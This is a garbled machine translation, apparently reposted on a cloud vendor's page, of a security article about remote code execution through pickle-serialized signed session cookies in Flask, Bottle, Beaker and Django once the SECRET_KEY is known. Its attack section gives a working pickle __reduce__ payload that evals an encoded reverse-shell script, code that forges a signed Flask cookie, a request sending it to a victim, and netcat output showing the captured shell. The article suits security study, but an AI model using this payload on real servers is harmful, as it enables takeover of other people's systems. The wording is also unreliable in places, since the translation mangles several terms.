For the management of some session programs in the Python framework, the python framework

Source: Internet
Author: User
Tags hmac

For the management of some session programs in the Python framework, the python framework

A SECRET_KEY must be configured for all python web frameworks, such as Django, Bottle, and Flask. We usually recommend random values in this document, but it is hard to find that he has any text instructions, this is because it is easy to be cracked (local attacks or text reading are more vulnerable to attacks in web apps ). Attackers can use SECRET_KEY to forge cookies, csrf token, and then use the Administrator tool. However, this is hard to achieve, but he can do some minor damages, such as executing malicious code. This is what I will introduce below.

Remember that if you used PHP to find a bug that could read arbitrary files on the server (excluding local files), you will be forced to choose Remote Code Execution (RCE ). You need to review most app resource files to find other buckets or useful information (such as user passwords or database information ). In this case, can we say PHP is safer?
When attacking a Python website framework, attackers who know the SECRET_KEY field you set can simply upgrade LFR attacks to RCE attacks. I (author) came to the above conclusion after attacking a series of website frameworks. In these website frameworks, Pickle is used to serialize signed cookies.

InFlaskIn the Framework, Flask is assigned a value in config ['secret _ key']. When session_cookie_name (default = 'session ') exists in the cookie, the Cookie is deserialized, even when no session exists. (How good this is. Attackers can create backdoors by adding SECRET_KEY to config file, and naive users will think this is very important ')
 

The anti-sequence method extracted from the werkzeug library is as follows:
 

def unserialize(cls, string, secret_key):    if isinstance(string, unicode):      string = string.encode('utf-8', 'replace')    try:      base64_hash, data = string.split('?', 1)    except (ValueError, IndexError):      items = ()    else:      items = {}      mac = hmac(secret_key, None, cls.hash_method)      # -- snip ---      try:        client_hash = base64_hash.decode('base64')      except Exception:        items = client_hash = None      if items is not None and safe_str_cmp(client_hash, mac.digest()):        try:          for key, value in items.iteritems():            items[key] = cls.unquote(value)        except UnquoteError:          # -- snip --      else:        items = ()    return cls(items, secret_key, False)

The reverse sequence method checks the signature, and then unquote () cookie value when the signature is correct. The unquote () method looks innocent, but in fact it is a default pickle.
 

#: the module used for serialization. Unless overriden by subclasses#: the standard pickle module is used.serialization_method = pickledef unquote(cls, value):  # -- snip --    if cls.quote_base64:      value = value.decode('base64')    if cls.serialization_method is not None:      value = cls.serialization_method.loads(value)    return value  # -- snip --

Bottle: There is no real secret key in the default bottle setting, but some people may want to use the signed cookie function to encrypt their own cookies.

Let's take a look at the Code:
 

def get_cookie(self, key, default=None, secret=None):  value = self.cookies.get(key)  if secret and value:    dec = cookie_decode(value, secret) # (key, value) tuple or None    return dec[1] if dec and dec[0] == key else default  return value or default

When the key is displayed and there are other values in the cookie, The cookie_decode method is called:
 

def cookie_decode(data, key):  data = tob(data)  if cookie_is_encoded(data):    sig, msg = data.split(tob('?'), 1)    if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg).digest())):      return pickle.loads(base64.b64decode(msg))  return None

Again, we see Pickle!

Beaker session: (any service can use beaker Middleware on the session, and the bottle framework even recommends this) Beaker. session has many functions, and this may be confused: There are three keys secret_key, validate_key, encrypted_key)

Encrypt_key: encrypt the cookie information and then send it to the client (session. type = "cookie"/Cookie mode), or. type = "file"/File mode. If encrypt_key is not set, the cookie will not be encrypted and will only be base64-encoded. When encrypt_key exists, the cookie is encrypted using encrypted_key, validate_key (optional), and a random value using the AES method.
Validate_key: used to sign the encrypted cookie
Secret: sign the cookie when using File mode (I don't know why they don't use a validate_key !)

 

Of course, when someone has the read permission on the file, he/she naturally knows all the fields. However, the File mode makes the attack impossible because we have no control over the serialized data, for example, when the data is stored on the local hard disk. In Cookie mode, the attack can be established even if the cookie is encoded (because we know how to encrypt, haha ). You may ask, the random parameter is unknown and you cannot attack it. Fortunately, this random parameter is also part of the session data stored in the cookie. Therefore, we can replace it with any value we need.

The following code constructs session data:

 

def _encrypt_data(self, session_data=None):   """Serialize, encipher, and base64 the session dict"""   session_data = session_data or self.copy()   if self.encrypt_key:     nonce = b64encode(os.urandom(6))[:8]     encrypt_key = crypto.generateCryptoKeys(self.encrypt_key,                     self.validate_key + nonce, 1)     data = util.pickle.dumps(session_data, 2)     return nonce + b64encode(crypto.aesEncrypt(data, encrypt_key))   else:     data = util.pickle.dumps(session_data, 2)     return b64encode(data)

We can see that there are risks in processing the data.


Django: It is also the most well-known Server framework in the Python language. Besides, that's right. Django developers put a pretty good warning on Cookie sessions. In my contempt, this warning is not enough. Instead, it should be replaced with a 'fatal 'or a 'alert' and marked in red.

How does Django's Session work? We can easily find a readable answer from Django's documentation: in short, Django gave session three configurable items: db, file, and signed_cookie. Once again, we are only interested in signed_cookie, because we can easily change it. If SESSION_ENGINE is set to "django. contrib. sessions. backends. signed_cookies", we confirm that signed_cookie is used for session management.

Interestingly, If we construct a sessionid in the request cookie, it will always be deserialized. Django also gave us a good example of how a cookie is signed. This makes our work much easier.


Our attacks

We have not discussed how we attack (some of you may already know )! Thank you for your patience. At last, I wrote it because the attack methods are common and simple (yes, principled knowledge ).

Here, we can read any file. It is not difficult to find the configuration file of the Python application, because import is everywhere ). When we obtain the key, we can simply sign (or reuse) the cookie of the web framework and use our malicious code. Because they use pickle. loads () deserialization, we use pickle. dumps () to save malicious code.

Piclke. dump () and loads () are usually safe when processing integers, strings, columns, hashing, and dictionary types .... however, it is not safe to process malicious data types! In fact, attackers can execute arbitrary Python code by constructing data types. I wrote a good small program to convert Python code into Pickle serialized objects. We should start reading from connback. py (this is actually a reverse link shell), and then we will entice the other website to serialize it using the Pickle method. If someone executes pickle. loads (payload), our reverse link shell will be activated.
 

code = b64(open('connback.py').read())class ex(object):  def __reduce__(self):    return ( eval, ('str(eval(compile("%s".decode("base64"),"q","exec"))).strip("None")'%(code),) )payload = pickle.dumps(ex())

Now we sign (applicable to the flask web Framework ):
 

def send_flask(key, payload):  data = 'id='+b64(payload)  mac = b64(hmac(key, '|'+data, hashlib.sha1).digest())  s = '%(sig)s?%(data)s' % {'sig':mac, 'data':data}

Then send
 

print requests.get('http://victim/', cookies={'session':s})

In another terminal:
 

danghvu@thebeast:~$ nc -lvvv 1337Connection from x.x.x.x port 1337 [tcp/*] accepted!P0Wn! Congratulation !!sh: no job control in this shellsh-4.1$ 

What else?

-So how? As long as you don't know my secret_key, I am safe! Yes, you can... but it's no different from declaring: "I put my key on the roof and I know you cannot climb up.

-Okay, so if I don't use this session cookie, I will be safe! Yes, it is safer to store sessions in files on small web apps (if stored in DB, we still face the danger of SQL Injection ). However, if it is a large web app and you have a distributed storage method, this will cause serious efficiency problems.

-What should I do? Maybe we should let those web frameworks not use piclke for serialization? I don't know whether such a framework exists. If so, it would be nice. Is PHP safer? Not actually.

Finally:

Web. Py. When I checked their web session documents, I found: CookieHandler-DANGEROUS, UNSECURE, EXPERIMENTAL

So, good job: D. Maybe everyone should do this. You should try web. py and other frameworks.

If you want it to work, you can spend some time.

As a gift, this website has this vulnerability. Let's see if you can upgrade the lfr bug to an rce. Then you will find the real gift: A flag...

Update: the source code of a website with vulnerabilities is stored on github, and its secret_key is different.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.